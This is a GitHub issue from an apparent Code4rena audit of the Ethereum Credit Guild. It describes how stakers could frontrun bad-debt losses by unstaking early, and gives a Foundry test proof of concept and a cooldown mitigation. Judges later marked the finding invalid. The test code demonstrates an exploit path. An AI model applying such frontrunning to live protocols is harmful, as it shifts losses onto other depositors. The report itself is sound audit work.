Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stakers can prevent losses by frontrunning bad debts. #1207

Closed
c4-bot-5 opened this issue Dec 28, 2023 · 6 comments
Closed

Stakers can prevent losses by frontrunning bad debts. #1207

c4-bot-5 opened this issue Dec 28, 2023 · 6 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-877 edited-by-warden sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@c4-bot-5
Copy link
Contributor

c4-bot-5 commented Dec 28, 2023

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L309
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158

Vulnerability details

Impact

The SurplusGuildMinter contract allows users to provide CREDIT tokens as first-loss capital to the surplus buffer of selected terms. In return, they can participate in the gauge voting system at a lower capital cost and without being affected by fluctuations in the price of GUILD token.

If a bad debt occurs, there will be a loss and all the credit tokens allocated to that term/guage will become zero.
Stakers can prevent losses by unstaking credit tokens right before the liquidation transaction.

Proof of Concept

Copy and paste the following code into the SurplusGuildMinterUnitTest.t.sol file.

    function testUnstakeWithFrontrunningAndLoss() public {
        // setup
        credit.mint(address(this), 150e18);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        assertEq(credit.balanceOf(address(this)), 0);
        assertEq(profitManager.surplusBuffer(), 0);
        assertEq(profitManager.termSurplusBuffer(term), 150e18);
        assertEq(guild.balanceOf(address(sgm)), 300e18);
        assertEq(guild.getGaugeWeight(term), 350e18); 
        assertEq(sgm.getUserStake(address(this), term).credit, 150e18);

        address bobby = address(0xb0b);
        credit.mint(bobby, 150e18);
        vm.startPrank(bobby);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        vm.stopPrank();

        // the guild token earn interests
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        credit.mint(address(profitManager), 35e18);
        profitManager.notifyPnL(term, 35e18);
        assertEq(profitManager.surplusBuffer(), 17.5e18);//note 35e18/2
        assertEq(profitManager.termSurplusBuffer(term), 300e18);
        (,, uint256 rewardsThis) = profitManager.getPendingRewards(address(this));
        (,, uint256 rewardsSgm) = profitManager.getPendingRewards(address(sgm));
        // assertEq(rewardsThis, 2.5e18); 
        // assertEq(rewardsSgm, 15e18);

        // next block
        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        //note frontrunning 
        vm.prank(bobby);
        sgm.unstake(term, 150e18);
        assertEq(credit.balanceOf(bobby), 150e18 + rewardsSgm / 2); // Bobby receives both his initial deposits and rewards.

        // loss in gauge
        profitManager.notifyPnL(term, -27.5e18);
        assertEq(profitManager.surplusBuffer(), 17.5e18 + 150e18 - 27.5e18); // 140e18
        assertEq(profitManager.termSurplusBuffer(term), 0);

        sgm.unstake(term, 150e18);
        assertEq(credit.balanceOf(address(this)), rewardsSgm / 2); //This depositor lost all of their initial deposits.

        // slash sgm
        guild.applyGaugeLoss(term, address(sgm));
        assertEq(guild.balanceOf(address(sgm)), 0); // slashed
        assertEq(guild.getGaugeWeight(term), 50e18); // weight decremented
    }

Tools Used

VS Code

Recommended Mitigation Steps

Implement a cooldown or lock period for withdrawals.

Assessed type

Context

@c4-bot-5 c4-bot-5 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Dec 28, 2023
c4-bot-6 added a commit that referenced this issue Dec 28, 2023
@c4-bot-10 c4-bot-10 changed the title Lenders can prevent losses by frontrunning bad debts. Stakers can prevent losses by frontrunning bad debts. Dec 28, 2023
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Dec 29, 2023
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as duplicate of #906

@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as duplicate of #877

@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Jan 25, 2024
@c4-judge
Copy link
Contributor

Trumpero marked the issue as unsatisfactory:
Invalid

2 similar comments
@c4-judge
Copy link
Contributor

Trumpero marked the issue as unsatisfactory:
Invalid

@c4-judge
Copy link
Contributor

Trumpero marked the issue as unsatisfactory:
Invalid

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-877 edited-by-warden sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

4 participants